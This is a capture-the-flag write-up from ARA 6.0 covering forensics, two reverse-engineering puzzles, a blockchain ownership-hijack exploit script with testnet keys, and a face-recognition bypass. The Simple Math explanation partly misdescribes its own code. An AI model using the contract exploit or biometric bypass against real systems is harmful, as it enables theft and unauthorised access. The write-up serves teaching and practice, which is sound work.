ARA 6.0 CTF

Forensics

What Shark?

Category

Forensics

Tags

Flag

ARA6{1ntr0duc710n_70_5tra7o5h4rk}

Scenario

My naughty junior dev do something weird

By pujoganteng

Solution

So they give us a scap file, let’s open it with Wireshark. After opening the file, we can see that there are a lot of sysdig packets. Sort the packets by length and we can see that there is a packet with a PNG header.

alt text

Copy the packet bytes and save it as a PNG file. Open the PNG file and we can see the flag.

alt text

Reverse Engineering

memory

Category

Reverse Engineering

Tags

Flag

ARA6{@ABCDEFGHIJKLMNABCDEFGHIJKLMNOBCDEFGHIJKLMNOPCDEFGHIJKLMNOPQD}

Scenario

I learned memory-safe programming language. I am safe right?

By thehxnz

Solution

Just decompile the binary and reconstruct the memory::main function.

flag = "ARA6{"

v9 = 0
v10 = 0
v14 = 0
v15 = 0

v26 = 5
v27 = 0
v28 = 0

v33 = 0
v34 = 0

while ( 1 ):
    v15 = v28 + v27

    v9 = (v15 // 26) | ((v15 % 26) << 8)
    v10 = (v9 >> 8) & 0xFF

    v14 = v10 + 64
    v33 = v10 + 64
    v34 = v14

    if v28 == -1:
        break

    v28 = v28 + 1
    
    if v26 == -1:
        break

    v26 = v26 + 1

    if v28 == 15:
        if v27 == -1:
            break
        v27 = v27 + 1
        v28 = 0

    flag += chr(v14)
    if v27 == 4:
        if len(flag) == 66:
            break

print(flag + "}")

Simple Math

Category

Reverse Engineering

Tags

Flag

ARA6{8yT3_c0d3_W1Th_51MPl3_m4th_15_345Y____R19ht?}

Scenario

“Python is a high-level, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation.”

By Haalloobim

Solution

  0           0 RESUME                   0

  2           2 LOAD_CONST               9 ((5,))
              4 LOAD_CONST               1 (<code object conv at 0x000001D2B5453870, file "<string>", line 2>)
              6 MAKE_FUNCTION            1 (defaults)
              8 STORE_NAME               0 (conv)

  6          10 PUSH_NULL
             12 LOAD_NAME                1 (open)
             14 LOAD_CONST               2 ('flag.txt')
             16 CALL                     1
             24 LOAD_ATTR                5 (NULL|self + read)
             44 CALL                     0
             52 STORE_NAME               3 (flag)

  7          54 BUILD_LIST               0
             56 STORE_NAME               4 (flags)

  8          58 BUILD_LIST               0
             60 LOAD_CONST               3 ((412881107802, 397653008560, 378475773842, 412107467700, 410815948500, 424198405792, 379554633200, 404975010927, 419449858501, 383875726561))
             62 LIST_EXTEND              1
             64 STORE_NAME               5 (N)

  9          66 PUSH_NULL
             68 LOAD_NAME                6 (reversed)
             70 LOAD_NAME                5 (N)
             72 CALL                     1
             80 STORE_NAME               7 (NR)

 11          82 PUSH_NULL
             84 LOAD_NAME                8 (len)
             86 LOAD_NAME                3 (flag)
             88 CALL                     1
             96 LOAD_CONST               0 (5)
             98 BINARY_OP                6 (%)
            102 LOAD_CONST               4 (0)
            104 COMPARE_OP              40 (==)
            108 POP_JUMP_IF_TRUE         2 (to 114)
            110 LOAD_ASSERTION_ERROR
            112 RAISE_VARARGS            1

 13     >>  114 PUSH_NULL
            116 LOAD_NAME                9 (zip)
            118 PUSH_NULL
            120 LOAD_NAME                0 (conv)
            122 LOAD_NAME                3 (flag)
            124 CALL                     1
            132 LOAD_NAME                5 (N)
            134 LOAD_NAME                7 (NR)
            136 CALL                     3
            144 GET_ITER
        >>  146 FOR_ITER                71 (to 292)
            150 UNPACK_SEQUENCE          3
            154 STORE_NAME              10 (i)
            156 STORE_NAME              11 (j)
            158 STORE_NAME              12 (k)

 14         160 LOAD_NAME               13 (int)
            162 LOAD_ATTR               29 (NULL|self + from_bytes)
            182 LOAD_NAME               10 (i)
            184 LOAD_ATTR               31 (NULL|self + encode)
            204 CALL                     0
            212 LOAD_CONST               5 ('big')
            214 CALL                     2
            222 STORE_NAME              16 (x)

 15         224 LOAD_NAME               16 (x)
            226 LOAD_NAME               11 (j)
            228 BINARY_OP                0 (+)
            232 LOAD_CONST               6 (1337)
            234 BINARY_OP                5 (*)
            238 LOAD_NAME               12 (k)
            240 BINARY_OP               12 (^)
            244 STORE_NAME              17 (y)

 16         246 LOAD_NAME               17 (y)
            248 LOAD_CONST               7 (871366131)
            250 BINARY_OP               23 (-=)
            254 STORE_NAME              17 (y)

 17         256 LOAD_NAME                4 (flags)
            258 LOAD_ATTR               37 (NULL|self + append)
            278 LOAD_NAME               17 (y)
            280 CALL                     1
            288 POP_TOP
            290 JUMP_BACKWARD           73 (to 146)

 13     >>  292 END_FOR

 19         294 PUSH_NULL
            296 LOAD_NAME               19 (print)
            298 LOAD_NAME                4 (flags)
            300 CALL                     1
            308 POP_TOP
            310 RETURN_CONST             8 (None)

Disassembly of <code object conv at 0x000001D2B5453870, file "<string>", line 2>:
  2           0 RETURN_GENERATOR
              2 POP_TOP
              4 RESUME                   0

  3           6 LOAD_GLOBAL              1 (NULL + range)
             16 LOAD_CONST               1 (0)
             18 LOAD_GLOBAL              3 (NULL + len)
             28 LOAD_FAST                0 (str)
             30 CALL                     1
             38 LOAD_FAST                1 (l)
             40 CALL                     3
             48 GET_ITER
        >>   50 FOR_ITER                12 (to 78)
             54 STORE_FAST               2 (i)

  4          56 LOAD_FAST                0 (str)
             58 LOAD_FAST                2 (i)
             60 LOAD_FAST                2 (i)
             62 LOAD_FAST                1 (l)
             64 BINARY_OP                0 (+)
             68 BINARY_SLICE
             70 YIELD_VALUE              1
             72 RESUME                   1
             74 POP_TOP
             76 JUMP_BACKWARD           14 (to 50)

  3     >>   78 END_FOR
             80 RETURN_CONST             0 (None)
        >>   82 CALL_INTRINSIC_1         3 (INTRINSIC_STOPITERATION_ERROR)
             84 RERAISE                  1

Decompiling the python bytecode, we can see that the flag is being read from a file called flag.txt and then converted into a list of integers. The list of integers is then reversed and iterated over. Each integer is converted into a big-endian byte string, which is then added to the next integer multiplied by 1337 and then XORed with the next integer. The result is then subtracted from 871366131 and appended to a list. Finally, the list is printed.

from typing import List

def conv(str: str, l: int) -> List[int]:
    return [int(str[i:i+l], 16) for i in range(0, len(str), l)]

with open('flag.txt') as f:
    flag = f.read().strip()

flags = []
N = [412881107802, 397653008560, 378475773842, 412107467700, 410815948500, 424198405792, 379554633200, 404975010927, 419449858501, 383875726561]
NR = list(reversed(N))

assert len(flag) % 5 == 0

for i, j, k in zip(conv(flag, 5), N, NR):
    x = int(i.encode('big'))
    y = x + j * 1337 ^ k
    y -= 871366131
    flags.append(y)

print(flags)

We need to reverse the operations to get the flag. We can do this by first adding 871366131 to each element in the list, then XORing with the next element, then dividing by 1337 and finally converting the result to a big-endian byte string.

N = [412881107802, 397653008560, 378475773842, 412107467700, 410815948500, 424198405792, 379554633200, 404975010927, 419449858501, 383875726561]
NR = list(reversed(N))

flags = [927365724618649, 855544946535839, 1075456339888851, 1051300489856216, 854566738228717, 862564607600557, 1107196607637040, 835104762026329, 1108826984434051, 843310935687105]
flag = ""

# Reverse the process to retrieve original flag
for y, j, k in zip(flags, N, NR):
    y += 871366131  # Reverse adjustment
    x = (y ^ k) // 1337 - j  # Reverse operations
    flag += x.to_bytes(5, 'big').decode(errors='ignore')

print(flag)

Miscellaneous

ephemeral

Category

Miscellaneous

Tags

Blockchain

Flag

ARA6{sh0u7_out_70_3ph3me24l_prov1d3r5}

Scenario

The Ethereum testnet are one of the great place to test out stuff. Try my new favorite testnet at https://ephemery.dev/.

To get the flag, solve the challenge and paste your proof-of-work result into the remote interface below.

nc 103.185.52.95 13378

By thehxnz

Solution

Generating the proof-of-work result from pow.py, the result is 734514167936362. We can paste the result into the remote interface to get the server’s response.

$ nc 103.185.52.95 13378
verifiyer 0.1.0
Using https://otter.bordel.wtf/erigon

Enter your PoW: 734514167936362
PoW is valid.
Creating setup contract...
Setup       : 0x2812007F73614B913fb314770BAe528f8B7fc912
Challenge   : 0x1944C4d052D1E6d4ae16654eff2ea9089b7587da
Your Address: 0x29AB03c3f9cFf0CE4188B0b5945745c3c1A39DEF
Private Key : 0x2f85c431ef33e2ac950661946ad27429ed711bd85edcd248157f351c0fffd445
RPC         : https://otter.bordel.wtf/erigon

So this will create a Setup Contract and a Challenge Contract. In the Setup Contract the player variable will be set to the address we provide, and will create a Challenge Contract with the owner variable, where the owner variable is set to msg.sender from the Setup Contract.

constructor() {
    owner = msg.sender;
}

To solve the challenge we need to change the owner of the Challenge Contract to the player that we provide.

function isSolved() external view returns (bool) {
    return IChallenge(challenge).owner() == player;
}

From the transferOwnership function we can see that we have to change the owner of the Challenge Contract to the player that we provide. However, we cannot change the owner of the Challenge Contract because it does not meet the condition msg.sender == owner. Where msg.sender is the player and owner is the Setup Contract that we provide.

function transferOwnership(address newOwner) external {
    require(msg.sender == owner, "Not owner");
    owner = newOwner;
}

From the getOwnership function we can see that check if the caller is a contract then staticcall the account and call the gas, then copy the data from the returndata to the sstore at slot 0.

function getOwnership(address account) external {
    assembly {
        let size := extcodesize(caller())
        if iszero(eq(size, 0)) {
            revert(0, 0)
        }
        let why := staticcall(gas(), account, 0, 0, 0, 0x20)
        
        if iszero(eq(returndatasize(), 0x20)) {
            revert(0, 0)
        }
        returndatacopy(0, 0, 0x20)
        sstore(0, mload(0))
    }
}

To solve the challenge we need to change the owner of the Challenge Contract to the player that we provide. We can do this by deploying a Helper Contract that will return the target address in the fallback function where we return the target address in the returndata. We can then call the getOwnership function with the Helper Contract address to write to the sstore at slot 0.

function getOwnership(address account) external {
    assembly {
        let size := extcodesize(caller())
        if iszero(eq(size, 0)) {
            revert(0, 0)
        }
        let why := staticcall(gas(), account, 0, 0, 0, 0x20)
       
        if iszero(eq(returndatasize(), 0x20)) {
            revert(0, 0)
        }
        returndatacopy(0, 0, 0x20)
        sstore(0, mload(0))
    }
}

To solve the challenge we need to change the owner of the Challenge Contract to the player that we provide. We can do this by deploying a Helper Contract that will return the target address in the fallback function where we return the target address in the returndata. We can then call the getOwnership function with the Helper Contract address to write to the sstore at slot 0.

pragma solidity ^0.8.0;
contract Helper {
    // 'target' is stored in slot 0.
    address public target;
    constructor(address _target) {
        target = _target;
    }
    // Fallback returns 32 bytes containing 'target'
    fallback() external {
        assembly {
            let t := sload(0)
            mstore(0, t)
            return(0, 32)
        }
    }
}

To automate the process, we can create a script using ethers.js to interact with the Challenge Contract and the Helper Contract.

const { ethers, JsonRpcProvider } = require("ethers");
const solc = require("solc");

const SETUP_ADDRESS = "0xBaD1Bf25A3EB1786a0105F429fA63014eA092ea0";
const CHALLENGE_ADDRESS = "0xCf28A080bc6EcAf35764B1e39a8577082B56707b";
const ADDRESS = "0x49F9cdFb00EfA58962Fe062D91B8cCeccEFE5D25";
const PRIVATE_KEY = "0xf17789631ebf2eb733017fa1b6df40ace37ec1e0c8e4742996917b3f37aef572";
const RPC_URL = "https://otter.bordel.wtf/erigon";

const setupABI = ["function isSolved() external view returns (bool)"];
const challengeABI = [
    "function transferOwnership(address newOwner) external",
    "function getOwnership(address account) external",
    "function owner() external view returns (address)",
];

async function compileHelper() {
    const helperSource = `pragma solidity ^0.8.0;
contract Helper {
    // 'target' is stored in slot 0.
    address public target;
    constructor(address _target) {
        target = _target;
    }
    // Fallback returns 32 bytes containing 'target'
    fallback() external {
        assembly {
            let t := sload(0)
            mstore(0, t)
            return(0, 32)
        }
    }
}`;

    const input = {
        language: 'Solidity',
        sources: {
            'Helper.sol': {
                content: helperSource
            }
        },
        settings: {
            outputSelection: {
                '*': {
                    '*': ['*']
                }
            }
        }
    };

    const output = JSON.parse(solc.compile(JSON.stringify(input)));
    const compiledHelper = output.contracts["Helper.sol"]["Helper"];
    const helperAbi = compiledHelper.abi;
    const helperBytecode = compiledHelper.evm.bytecode.object;
    return [helperAbi, helperBytecode];
}

async function exploit() {
    const provider = new JsonRpcProvider(RPC_URL);
    const wallet = new ethers.Wallet(PRIVATE_KEY, provider);
    console.log("Connected as:", wallet.address);

    const setup = new ethers.Contract(SETUP_ADDRESS, setupABI, wallet);
    const challenge = new ethers.Contract(CHALLENGE_ADDRESS, challengeABI, wallet);

    console.log("Owner before exploit:", await challenge.owner());
    console.log("Is solved:", await setup.isSolved());

    const [helperAbi, helperBytecode] = await compileHelper();

    console.log("Deploying Helper contract...");
    const helperFactory = new ethers.ContractFactory(helperAbi, helperBytecode, wallet);
    const helper = await helperFactory.deploy(wallet.address);
    const helperAddress = await helper.getAddress();
    await helper.waitForDeployment();
    console.log("Helper deployed at:", helperAddress);

    console.log("Calling getOwnership with helper address...");
    const tx = await challenge.getOwnership(helperAddress);
    await tx.wait();
    console.log("Transaction confirmed");

    /* console.log("Transferring ownership to wallet...");
    const tx2 = await challenge.transferOwnership(wallet.address);
    await tx2.wait();
    console.log("Ownership transferred to wallet"); */

    console.log("Owner after exploit:", await challenge.owner());
    console.log("Is solved:", await setup.isSolved());
}

exploit();

After running the script, we can see that the owner of the Challenge Contract is changed to the player we provided. The isSolved function will return true if the owner of the Challenge Contract is the same as the player we provided.

$ nc 103.185.52.95 13378
verifiyer 0.1.0
Using https://otter.bordel.wtf/erigon

Enter your PoW: 734514167936362
PoW is valid.
Challenge solved!
ARA6{sh0u7_out_70_3ph3me24l_prov1d3r5}

ilynaga

Category

Miscellaneous

Tags

Flag

ARA6{w4s_1t_h4Rd_0r_N0T_0558d4a}

Scenario

My beloved agent Naga is trying to infiltrate Jerry’s Biometrically-secured dewaweb VPS! Help him bypass Jerry’s face recognition system!

https://huggingface.co/spaces/spuun/ilynaga

By kek.c

Solution

The challenge provides a link to a Hugging Face model called spuun/ilynaga. The model is a facial recognition model that can be used to authenticate a user’s face. The goal is to bypass the facial recognition system to gain access to Jerry’s Biometrically-secured dewaweb VPS.

return success if ssim_value>=0.96 and predicted_class == 'True' else fail

The model uses the Structural Similarity Index (SSIM) to compare the input image with the reference image. If the SSIM value is greater than or equal to 0.96 and the predicted class is True, the authentication is successful.

We can bypass the facial recognition system by generating an image that has a high SSIM value with the reference image and a predicted class of True?

We can bypass the facial recognition system by editing the photo of the reference image to have a high SSIM value with the reference image and a predicted class of True.

alt text

The edited photo has a high SSIM value with the reference image and a predicted class of True. We can use this photo to bypass the facial recognition system. This is unintended solution. The intended solution is to use the model to generate a photo that has a high SSIM value with the reference image and a predicted class of True.

guest@terminal:~$ ssh [email protected]
Connecting to husseumi.space on port 22...

✧ Initiating facial authentication... ✧
⋆。°✩ Scanning face... ✩°。⋆
.。*゚ Matching with database... ゚*。.
✧・゚: Biometric verification complete! :・゚✧

╭──── 🌠 Welcome to Jelly's Space 🌠 ─────╮
│   *:・゚✧ Authentication successful! ✧゚・:*  |
│         a-awawawa... welcome back!        │
╰─────────────- ✧◝(⁰▿⁰)◜✧ -────────────╯
Last login: Wed Mar 13 12:34:56 2024 from 192.168.1.1
This server is powered by dewaweb™ - Empowering Your Digital Dreams ⋆。°✩

jerry@husseumi:~$ cat ~/.auth/metrics.log
⭑⋆˙⟡ Facial Match : True
⭑⋆˙⟡ Match Score : 0.9467
⭑⋆˙⟡ Similarity : 0.9732

jerry@husseumi:~$ sudo cat /etc/secrets/flag.txt
⋆。°✩ ARA6{w4s_1t_h4Rd_0r_N0T_0558d4a} ✩°。⋆

jerry@husseumi:~$ exit
✧・゚: A-awawawa... goodbye! Have a lovely day! :・゚✧
.。*゚+.*.。(っ°v°c)。.*+.゚*。.

Connection to husseumi.space closed.